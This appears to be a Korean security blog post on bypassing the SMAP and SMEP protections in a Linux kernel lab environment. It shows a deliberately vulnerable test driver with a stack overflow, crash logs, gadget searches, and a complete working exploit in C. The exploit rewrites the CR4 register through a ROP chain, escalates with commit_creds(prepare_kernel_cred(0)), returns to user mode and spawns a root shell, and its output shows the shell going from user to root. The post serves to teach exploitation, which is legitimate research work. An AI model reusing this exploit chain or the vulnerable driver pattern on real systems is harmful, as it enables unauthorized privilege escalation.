[Research] Linux Kernel Exploit - Bypassing SMAP

[Research] Linux Kernel Exploit - Bypassing SMAP

서론

해당 포스트에서는 Linux Kernel Basic 시리즈의 정보를 기반으로 하여 리눅스 커널에 적용되어 있는 보호기법(mitigation)을 하나씩 우회하여 공격하는 과정을 포스트하려고 한다. 해당 포스트에서는 SMAP 보호기법을 주제로 하여 해당 보호기법이 어떠한 보호기법인지 이해하고 이를 우회하여 공격하는 방법을 작성하려고 한다.



SMAP



SMAP(Supervisor Mode Access Prevention)은 supervisor mode(ring0)에서 특정 주소에 있는 데이터를 접근할 경우 해당 주소가 만약 user mode(ring3)의 데이터라고 할 경우 이를 접근할 수 없도록 하는 보호기법이다.


SMAP은 CPU의 CR4 Register의 SMAP에 해당하는 부분의 비트를 키거나 끔으로 적용이 가능하다. 또한 SMAP이 적용되어 있을 경우 Kernel ROP를 이용하면 우회가 가능하다. 이는 결과적으로 지난 포스트에서의 익스플로잇 코드를 통해서도 공격자는 권한 상승 후의 쉘 획득이 가능하다는 것을 의미한다. Kernel ROP를 통해 우회를 진행하였음으로 해당 포스트에서는 CR4 레지스터의 값을 변조하는 형태로 익스플로잇을 진행해보려고 한다.



환경분석

start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep,smap \

부팅 스크립트의 경우 다음과 같은 형태로 작성되어 있다. 적용된 보호기법을 확인해보면 KASLR의 경우는 비활성화 해두었으며 SMEP과 SMAP의 경우는 활성화 되어 있다.



바이너리 분석

디바이스 드라이버 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <linux/input.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/string.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("SAMPLE");

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos);

struct file_operations test_fops = {
.write = test_write,
};

static struct miscdevice test_driver = {
.minor = MISC_DYNAMIC_MINOR,
.name = "test",
.fops = &test_fops,
};

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
char arr[8] = { [0 ... 7] = 0 };
char *ptr;

ptr = (char *)kmalloc(count, GFP_KERNEL);

copy_from_user(ptr, buf, count);
memcpy(arr, ptr, count);

printk("arr : %x", arr[count-1]); // prevent undefined behavior

return 0;
}


static int test_init(void) {
int result;

result = misc_register(&test_driver);

return 0;
}

static void test_exit(void) {
misc_deregister(&test_driver);
}

module_init(test_init);
module_exit(test_exit);

해당 소스코드의 경우 공격 벡터(attack vector)가 될 수 있는 디바이스 드라이버 파일의 소스코드이다. 소스코드를 확인해볼 경우 file_operations 구조체 내부에서 write 시스템 콜에 대응하는 동작들을 정의하고 있다.

디바이스 드라이버 파일을 토대로 write 시스템 콜을 호출하게 될 경우 test_write() 함수가 실행된다. 해당 함수가 실행될 경우 line30~line33에 의하여 커널에서 메모리를 동적할당한 후 유저영역에서의 메모리를 해당 데이터의 크기만큼 복사하는 것을 확인할 수 있다.

이를 고려해보면 사용자가 입력한 데이터(untrusted input)의 크기를 제한하지 않는 문제로 인해서 스택 버퍼기반의 오버플로우가 발생할 것으로 예상된다.



취약점 분석

바이너리 분석에서 사용자의 입력으로 부터 실행흐름을 변조할 가능성이 있음을 확인하였다. 해당 디바이스 드라이버를 토대로 write 시스템 콜이 호출되게 될 경우 디바이스 드라이버의 경우 사용자의 입력(untrusted input)이 버퍼 오버플로우를 발생시키기 때문이다. 예상한 결과가 맞는가에 대해서 확인해볼 필요가 있다.


공격 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


int main() {
int fd;
size_t payload[18] = {0, };


fd = open("/dev/test", O_RDWR);


memset(payload, 0x41, 40);
payload[4] = 0x4343434343434343;


write(fd, payload, sizeof(payload));

close(fd);

return 0;
}

디바이스 드라이버를 제어하는 코드를 작성하였다. 버퍼에 데이터를 어느정도 작성해야 Return Address를 컨트롤 할 수 있는가를 파악하기 위해서 연속적인 형태의 입력인 “AAA…ACCC…C…”를 입력하였다. 만약 RIP가 해당 입력값 중 하나의 값으로 변조된다면 이는 사용자의 입력으로 실행흐름을 변조할 수 있는 취약점으로 볼 수 있다. 참고로 스택 카나리는 비활성화 상태이다.


공격 결과

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ./crash 
[    5.845709] arr : 0
[    5.847836] general protection fault: 0000 [#1] SMP NOPTI
[    5.850227] CPU: 0 PID: 69 Comm: crash Tainted: G           O      5.8.5 #1
[    5.851984] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    5.854040] RIP: 0010:0x4343434343434343
[    5.854920] Code: Bad RIP value.
[    5.855637] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    5.859450] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000020727261
[    5.859996] RDX: 4141414141414141 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    5.860456] RBP: 4141414141414141 R08: 0000000030203a20 R09: 0000000000000007
[    5.862713] R10: 0000000000000045 R11: ffffffff82b2bba7 R12: 4141414141414141
[    5.863229] R13: 0000000000000090 R14: ffffc9000019ff10 R15: 00007fff25db9ea0
[    5.863786] FS:  00000000011ce880(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    5.864440] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.865603] CR2: 0000000000459f70 CR3: 000000001da40000 CR4: 00000000003006f0
[    5.866234] Call Trace:
[    5.867406]  ? do_syscall_64+0x3e/0x70
[    5.868196]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    5.869328] Modules linked in: test(O)
[    5.870959] ---[ end trace 0fcca97aa748deff ]---
[    5.871920] RIP: 0010:0x4343434343434343
[    5.872678] Code: Bad RIP value.
[    5.873270] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    5.873831] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000020727261
[    5.874345] RDX: 4141414141414141 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    5.874894] RBP: 4141414141414141 R08: 0000000030203a20 R09: 0000000000000007
[    5.875395] R10: 0000000000000045 R11: ffffffff82b2bba7 R12: 4141414141414141
[    5.875932] R13: 0000000000000090 R14: ffffc9000019ff10 R15: 00007fff25db9ea0
[    5.876434] FS:  00000000011ce880(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    5.877037] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.877708] CR2: 0000000000459f70 CR3: 000000001da40000 CR4: 00000000003006f0
[    5.878296] Kernel panic - not syncing: Fatal exception
[    5.879164] Kernel Offset: disabled
[    5.879860] Rebooting in 1 seconds..
qemu-system-x86_64: Trying to execute code outside RAM or ROM at 0x0000000081400220
This usually means one of the following happened:

(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine)
(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end
(3) Your guest kernel has a bug and crashed by jumping off into nowhere

This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine.
If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point.

Execution cannot continue; stopping here.

해당 결과를 통해 RIP가 0x4343434343434343로 변조되었음을 확인할 수 있었고 해당 값은 사용자가 입력할 버퍼의 32만큼의 입력한 뒤의 값이다. 그러므로 payload[4]에 값을 작성할 경우 해당 값으로 실행흐름을 변조할 수 있다.

공격결과는 예상하였던 것과 같이 실행흐름을 변조할 수 있음으로 파악된다. 해당 부분에서 추가적으로 확인할 수 있는 것은 CR4 레지스터의 값이다. 해당 값의 경우는 0x00000000003006f0으로 이를 바이너리 형태로 변경한다면 00000000 00000000 00000000 00000000 00000000 00110000 00000110 11110000 다음과 같다. 해당 결과를 해석해볼 경우 SMEP과 SMAP이 적용되어 있는 것을 확인할 수 있다.



취약점 공격

분석과정을 통해 사용자의 입력(untrusted input)을 통해 실행흐름을 변조할 수 있음을 확인하였다. 이러한 정보들을 토대로 공격자에게 유의미한 형태의 공격이 될 수 있도록 어떠한 형태로 공격을 진행할 것인가에 대해서 시나리오를 작성하겠다.

가장 파급력있고 공격자에게 자유도가 높은 방법은 리눅스(linux) 기반의 커널을 공격하는 것이기에 루트 권한의 쉘(shell)을 획득하는 것으로 볼 수 있다. 다음과 같은 공격이 이루어지기 위해서는 우선적으로 진행되어야 하는 것이 유저 권한을 루트 권한으로 상승(권한 상승)을 일으켜야 한다.


공격 시나리오

STEP1. CR4 레지스터 변조를 통한 SMEP, SMAP 비활성화
STEP2. commit_creds(prepare_kernel_cred(0))을 통한 권한 상승
STEP3. 사용자 모드(user mode)로의 전환
STEP4. shell 획득

다음의 시나리오는 SMEP, SMAP이 적용되어 있지 않은 일반적인 형태의 공격(exploit)과 유사하다. Memory Randomization이 적용되어 있지 않기 때문에 실행시키고자 하는 함수인 commit_creds(), prepare_kernel_cred()를 하드코딩하여 값을 작성해도 된다.

여기서 고려해야하는 사항은 이전 포스트에서 작성하였던 공격 시나리오의 경우 유저 영역의 함수에서 STEP2, STEP3, STEP4를 진행한다. 하지만 SMEP, SMAP이 적용되어 있기 때문에 STEP1의 과정을 거치지 않는다면 문제가 발생할 것이다.


공격 코드(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void shell() {
execl("/bin/sh", "sh", NULL);
}

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
rv.user_rip = &shell;
}

void payload(void) {
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&rv));
}

int main() {
int fd;
size_t rop[10] = {0, };

commit_creds = 0xffffffff8108bed0;
prepare_kernel_cred = 0xffffffff8108c2f0;

fd = open("/dev/test", O_RDWR);

backup_rv();

memset(rop, 0x41, 40);
rop[4] = &payload;

write(fd, rop, sizeof(rop));

close(fd);

return 0;
}

공격 결과(1)

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ./exploit 
[    5.284800] arr : 0
[    5.285076] unable to execute userspace code (SMEP?) (uid: 1000)
[    5.287133] BUG: unable to handle page fault for address: 0000000000400bc4
[    5.290793] #PF: supervisor instruction fetch in kernel mode
[    5.291958] #PF: error_code(0x0011) - permissions violation
[    5.293203] PGD 1d954067 P4D 1d954067 PUD 1d955067 PMD 1d952067 PTE 1e0ef025
[    5.294763] Oops: 0011 [#1] SMP NOPTI
[    5.295289] CPU: 0 PID: 70 Comm: exploit Tainted: G           O      5.8.5 #2
[    5.295987] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    5.296780] RIP: 0010:0x400bc4
[    5.297402] Code: Bad RIP value.
[    5.297736] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    5.298131] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000020727261
[    5.298608] RDX: 4141414141414141 RSI: ffffffff82b12ba0 RDI: ffffffff82b12fa0
[    5.299073] RBP: 4141414141414141 R08: 0000000030203a20 R09: 0000000000028900
[    5.299522] R10: 4141414141414141 R11: 0000000000000046 R12: 4141414141414141
[    5.299982] R13: ffffc9000019ff10 R14: 00007fff8ce65780 R15: 0000000000000000
[    5.300503] FS:  0000000001a2f880(0000) GS:ffff88801f200000(0000) knlGS:0000000000000000
[    5.301110] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.301557] CR2: 0000000000400bc4 CR3: 000000001d970000 CR4: 00000000003006f0
[    5.302173] Call Trace:
[    5.303023]  ? ksys_write+0x9c/0xd0
[    5.308759]  ? do_syscall_64+0x3e/0x70
[    5.309125]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    5.310466] Modules linked in: test(O)
[    5.312506] CR2: 0000000000400bc4
[    5.313227] ---[ end trace c3b44d8ed90feeeb ]---
[    5.314069] RIP: 0010:0x400bc4
[    5.314341] Code: Bad RIP value.
[    5.314574] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    5.314908] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000020727261
[    5.316170] RDX: 4141414141414141 RSI: ffffffff82b12ba0 RDI: ffffffff82b12fa0
[    5.316755] RBP: 4141414141414141 R08: 0000000030203a20 R09: 0000000000028900
[    5.317232] R10: 4141414141414141 R11: 0000000000000046 R12: 4141414141414141
[    5.317685] R13: ffffc9000019ff10 R14: 00007fff8ce65780 R15: 0000000000000000
[    5.318159] FS:  0000000001a2f880(0000) GS:ffff88801f200000(0000) knlGS:0000000000000000
[    5.318700] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.319070] CR2: 0000000000400bc4 CR3: 000000001d970000 CR4: 00000000003006f0
[    5.319614] Kernel panic - not syncing: Fatal exception
[    5.320346] Kernel Offset: disabled
[    5.321058] Rebooting in 1 seconds..
qemu-system-x86_64: Trying to execute code outside RAM or ROM at 0x00000000813f0950
This usually means one of the following happened:

(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine)
(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end
(3) Your guest kernel has a bug and crashed by jumping off into nowhere

This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine.
If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point.

Execution cannot continue; stopping here.

공격 결과(1)을 통해 다음과 같은 방법으로는 익스플로잇이 가능하지 않음을 알 수 있다. 이를 고려하여 CR4 레지스터를 변조하여 SMEP과 SMAP을 비활성화하여 공격을 진행할 수 있다. CR4 레지스터를 변조할 수 있는 가젯(gadget)을 찾아 페이로드를 구성하여 보겠다.


가젯 구성

CR4 레지스터를 변조하기 위해서 필요한 가젯을 찾아봐야 한다. 사용자가 입력한 값으로 CR4 레지스터를 변조해야하며 현재 사용자의 입력이 위치하는 메모리는 스택으로 볼 수 있다. 이러한 것들을 고려하여 페이로드를 구상해보겠다.


pop register
mov cr4, register
&payload

스택에 사용자가 입력한 데이터가 위치하며 이를 특정 레지스터에 담을 수 있는 가젯을 찾아 이를 cr4 레지스터에 위치하도록 해야한다. 이후 실행흐름을 유저영역의 함수로 변조한다면 정상적으로 코드가 실행되어 권한이 상승된 형태로 쉘을 획득할 수 있을 것으로 판단된다.


가젯 추출

$ ROPgadget --binary vmlinux | grep 'mov cr4'
0xffffffff8102f82c : add byte ptr [rax], al ; add byte ptr [rax], al ; xor esi, esi ; mov cr4, rdi ; jmp 0xffffffff8102f854
0xffffffff8104c097 : add byte ptr [rax], al ; mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff8102f82e : add byte ptr [rax], al ; xor esi, esi ; mov cr4, rdi ; jmp 0xffffffff8102f854
0xffffffff8104c095 : add byte ptr [rax], dl ; add byte ptr [rax], al ; mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff8104c099 : mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff810973c0 : mov cr4, rax ; ret
0xffffffff8102f832 : mov cr4, rdi ; jmp 0xffffffff8102f854
0xffffffff810973bf : nop ; mov cr4, rax ; ret
0xffffffff8104c094 : or eax, 0x1000 ; mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff8102f830 : xor esi, esi ; mov cr4, rdi ; jmp 0xffffffff8102f854 

$ objdump -M intel -d vmlinux | grep -a1 "pop    rax"
ffffffff8197ee5a:    58                       pop    rax
ffffffff8197ee5b:    c3                       ret  

다음과 같은 형태로 vmlinux에서 공격 페이로드를 구성할 가젯을 추출할 수 있었다. 사용자의 입력을 통해 스택에 있는 값을 컨트롤 할 수 있으며 pop 명령어를 통해서 rax에 해당 값을 담는다. 이후 mov cr4, rax를 통해서 rax의 값을 cr4 레지스터에 세팅한다. 이러한 과정이 수행될 경우 SMEP, SMAP을 비활성화된 형태의 state가 되므로 유저 영역의 함수를 실행할 수 있게 된다.


공격코드(2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void shell() {
execl("/bin/sh", "sh", NULL);
}

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
rv.user_rip = &shell;
}

void payload(void) {
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&rv));
}

int main() {
int fd;
size_t rop[10] = {0, };

commit_creds = 0xffffffff8108bed0;
prepare_kernel_cred = 0xffffffff8108c2f0;

fd = open("/dev/test", O_RDWR);

backup_rv();

memset(rop, 0x41, 40);
rop[4] = 0xffffffff8197ee5a; // pop rax; ret;
rop[5] = 0x0006f0; // SMAP: Disabled | SMEP: Disabled
rop[6] = 0xffffffff810973c0; // mov cr4, rax; ret;
rop[7] = &payload;

write(fd, rop, sizeof(rop));

close(fd);

return 0;
}

공격결과(2)

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ whoami
user
/ $ ./exploit 
/ # whoami
root
/ # 



참고

b30w0lf님의 운영체제(Operating System)
DREAMHACK - Linux Kernel Exploit
INFLEARN - 리눅스 커널 해킹. A부터 Z까지
https://www.lazenca.net/pages/viewpage.action?pageId=25624859
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame



한줄평

크래시가 발생한 메모리의 상황에 따라 적절히 페이로드로 구성할 수 있도록 고민하자.